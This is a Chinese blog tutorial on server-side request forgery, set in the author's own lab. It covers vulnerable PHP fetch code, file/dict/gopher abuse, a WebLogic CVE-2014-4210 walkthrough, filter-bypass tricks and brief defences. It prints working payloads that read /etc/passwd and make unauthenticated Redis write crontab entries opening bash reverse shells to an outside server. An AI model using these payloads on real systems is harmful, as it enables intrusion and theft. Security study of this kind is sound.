SSRF漏洞的利用与攻击内网应用

  • Post author:
  • Post category:其他



首发于先知社区



0x00 前言

学过CSRF漏洞后,收获颇多。同时发现SSRF漏洞和CSRF漏洞有一点点类似之处。

CSRF跨站请求伪造,基于客户端的请求伪造;SSRF服务器端请求伪造,基于服务端的请求伪造。

因为SSRF还没学习,所以还是先走上SSRF漏洞的学习之路吧!



0x01 SSRF漏洞简介


1.SSRF漏洞概述


SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的

内部系统

。(因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内网。也就是说可以利用一个网络请求的服务,当作跳板进行攻击)

在这里插入图片描述


2.SSRF漏洞产生原因


SSRF 形成的原因往往是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

如:从指定URL地址获取网页文本内容,加载指定地址的图片,下载等。利用的就是服务端的请求伪造。ssrf是利用

存在缺陷的web应用作为代理

攻击远程和本地的服务器。


3.容易出现SSRF的地方

  1. 转码服务
  2. 在线翻译
  3. 图片加载与下载(通过URL地址加载或下载图片)
  4. 图片、文章收藏功能
  5. 网站采集、网页抓取的地方。
  6. 头像的地方。(远程加载头像)
  7. 一切要你输入网址的地方和可以输入ip的地方。
  8. 从URL关键字中寻找:

    share



    wap



    url



    link



    src



    source



    target



    u



    3g



    display



    sourceURl



    imageURL



    domain



4.利用SSRF可以实现的攻击

  1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的

    banner 信息
  2. 攻击运行在内网或本地的应用程序
  3. 对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
  4. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
  5. 下载内网资源(如:利用

    file

    协议读取本地文件等)
  6. 进行跳板
  7. 无视cdn
  8. 利用Redis未授权访问,HTTP CRLF注入实现getshell



0x02 SSRF漏洞相关函数和协议


1.函数



file_get_contents()



fsockopen()



curl_exec()



fopen()



readfile()

等函数使用不当会造成SSRF漏洞

(1)file_get_contents()

<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>


file_get_content

函数从用户指定的url获取内容,然后指定一个文件名j进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。

(2)fsockopen()

<?php 
function GetFile($host,$port,$link) { 
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);   
    if (!$fp) { 
		echo "$errstr (error number $errno) \n"; 
	} else { 
		$out = "GET $link HTTP/1.1\r\n"; 
		$out .= "Host: $host\r\n"; 
		$out .= "Connection: Close\r\n\r\n"; 
		$out .= "\r\n"; 
		fwrite($fp, $out); 
		$contents=''; 
		while (!feof($fp)) { 
			$contents.= fgets($fp, 1024); 
		} 
		fclose($fp); 
		return $contents; 
	} 
}
?>


fsockopen

函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限

(3)curl_exec()

<?php 
if (isset($_POST['url'])){
	$link = $_POST['url'];
	$curlobj = curl_init();// 创建新的 cURL 资源
	curl_setopt($curlobj, CURLOPT_POST, 0);
	curl_setopt($curlobj,CURLOPT_URL,$link);
	curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
	$result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
	curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
 
	$filename = './curled/'.rand().'.txt';
	file_put_contents($filename, $result); 
	echo $result;
}
?>


curl_exec

函数用于执行指定的cURL会话


注意

1.一般情况下PHP不会开启fopen的gopher wrapper
2.file_get_contents的gopher协议不能URL编码
3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5.curl_exec() //默认不跟踪跳转,
6.file_get_contents() // file_get_contents支持php://input协议


2.协议


(1)

file

: 在有回显的情况下,利用 file 协议可以读取任意内容

(2)

dict

:泄露安装软件版本信息,查看端口,操作内网redis服务等

(3)

gopher

:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

(4)

http/s

:探测内网主机存活



0x03 SSRF漏洞利用



本地利用

以curl举例,查看 curl 支持的协议列表

curl -V



本地利用方式



(1)使用file协议 file protocol (任意文件读取)

curl -vvv 'file:///etc/passwd'

(2)使用dict协议 dict protocol (获取Redis配置信息)

curl -vvv 'dict://127.0.0.1:6379/info'

(3)使用gopher协议(俗称万能协议) gopher protocol (一键反弹Bash)

curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'



远程利用



1、环境

攻击机ip:192.168.201.129、121.36.67.230

攻击机:Kali、公网服务器

远程服务器ip:39.x.x.x

docker镜像:ssrf_redis

PHP版本:PHP Version 7.2.28(5.6版本测试会失败)



2、远程利用示例代码


ssrf.php

<?php
$ch = curl_init(); //创建新的 cURL 资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); //设置URL 和相应的选项
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); //抓取 URL 内容并把它传递给浏览器,存储进文件
curl_close($ch); 关闭 cURL 资源,并且释放系统资源
?>


post.php

<html>
<head>
    <title>post</title>
</head>
<body>
    <?php
    echo $_REQUEST[cmd];
    ?>
</body>
</html>


3、远程利用方式


1.利用

file

协议


任意文件读取

curl -v 'http://39.x.x.x:8000/ssrf.php?url=file:///etc/passwd'

在这里插入图片描述


2.利用

dict

协议


(1)查看端口及端口上运行服务的版本信息

curl -v 'http://39.x.x.x:8000/ssrf.php?url=dict://127.0.0.1:22/'

在这里插入图片描述

说明22端口开放

(2)通过dict协议getshell

有关dict协议:向服务器的端口请求 命令:参数,并在末尾自动补上

\r\n

(CRLF)。

dict协议要一条一条的执行,而gopher协议执行一条命令就行了。

在这里插入图片描述

一条一条的执行就可以了。


3.利用

gopher

协议


(1)攻击内网redis并反弹shell

利用redis未授权访问攻击redis


攻击redis的exp

echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/121.36.67.230/5555 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
bash shell.sh 39.x.x.x 6379

从而捕获到数据,并进行转换

转换规则如下:

如果第一个字符是

>

或者

<

那么丢弃该行字符串,表示请求和返回的时间。

如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。



\r

字符串替换成

%0d%0a


空白行替换为

%0a

结合gopher协议攻击内网redis,使用上边捕获数据的转换结果即可,然后进行反弹shell:

curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.4:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f5555%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'

在这里插入图片描述

在这里插入图片描述

反弹成功


http://39.x.x.x:8000/ssrf.php

是存在SSRF漏洞的Web服务


192.168.1.4

是redis应用所在内网ip


121.36.67.230

是公网服务器,接收反弹shell

(2)伪造post请求反弹shell

curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.5:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%2039.105.93.165%250d%250aUser-Agent:%20curl/7.58.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f4444%200%3E%261'

在这里插入图片描述

在这里插入图片描述

反弹成功


192.168.1.5

是内网Web服务,有post.php


4 .利用

http/s

协议


探测内网主机存活

在这里插入图片描述

说明内网ip为

192.168.1.3

的主机存活



0x04 SSRF攻击应用实战



1、gopher攻击redis

参考

远程利用 3.利用

gopher

协议



2、weblogic ssrf攻击redis

CVE-2014-4210

下载地址:https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf

编译并启动环境

docker-compose build
docker-compose up -d

SSRF漏洞存在于

http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp



1.查看端口


访问

/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:80
//测试http://127.0.0.1:7001:将80替换成7001

在这里插入图片描述

not connect,说明80端口未开放

在这里插入图片描述

返回404,说明端口开放


2.探测内网主机存活


在这里插入图片描述

说明内网ip为

192.168.1.1

的主机存活


3.注入HTTP头,利用Redis反弹shell


通过ssrf探测内网中的redis服务器,发现172.22.0.2:6379可以连通

和上边的远程利用几乎一样。

在这里插入图片描述

将反弹shell脚本写入/etc/crontab定时任务

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/121.36.67.230/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

进行url编码

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F121.36.67.230%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

换行符是“\r\n”换成“%0D%0A”。将url编码后的字符串放在ssrf的域名后面,发送

在这里插入图片描述

反弹成功

在这里插入图片描述



0x05 SSRF漏洞相关绕过



1、常用绕过方法


1.@

http://abc@127.0.0.1
实际上是以用户名abc连接到站点127.0.0.1,同理
http://8.8.8.8@127.0.0.1:8080、http://127.0.0.1#8.8.8.8

在对@解析域名中,不同的处理函数存在处理差异,如:


http://www.aaa.com@www.bbb.com@www.ccc.com


在PHP的

parse_url

中会识别www.ccc.com,而

libcur

l则识别为www.bbb.com


2.利用[::]


可以利用

[::]

来绕过localhost

http://[::]:80/  >>>  http://127.0.0.1


3.添加端口号

http://127.0.0.1:8080


4.利用短网址



站长工具短网址



百度短网址



5.利用特殊域名


原理是DNS解析。xip.io可以指向任意域名,即

127.0.0.1.xip.io,可解析为127.0.0.1


6.利用DNS解析


在域名上设置A记录,指向127.0.1


7.利用进制转换

127.0.0.1

八进制:0177.0.0.1

十六进制:0x7f.0.0.1

十进制:2130706433


8.句号

127001  >>>  127.0.0.1


9.302跳转


使用https://tinyurl.com生成302跳转地址



2、常见限制


1.限制为http://www.xxx.com 域名


采用http基本身份认证的方式绕过。即@


http://www.xxx.com@www.xxc.com



2.限制请求IP不为内网地址


当不允许ip为内网地址时

(1)采取短网址绕过

(2)采取特殊域名

(3)采取进制转换


3.限制请求只为http协议


(1)采取302跳转

(2)采取短地址



0x06 SSRF漏洞防御

1、禁用不需要的协议(如:

file:///



gopher://

,

dict://

等)。仅仅允许http和https请求

2、统一错误信息,防止根据错误信息判断端口状态

3、禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址

4、设置URL白名单或者限制内网IP



0x07 后记

在SSRF漏洞的学习过程中,遇到了一些问题,比如反弹shell到公网服务器,折腾了许久。不过最终克服了问题。同时,通过SSRF漏洞的学习,发现SSRF漏洞果然比CSRF漏洞的利用的局限性要小,并且SSRF漏洞的对内网的一些应用危害比较大。所以在开发过程中,要尽量避免产生SSRF漏洞。

参考博客:


SSRF 漏洞学习



SSRF——weblogic vulhub 漏洞复现及攻击内网redis(一)



ssrf攻击内网应用



SSRF绕过方法总结



版权声明:本文为qq_43625917原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。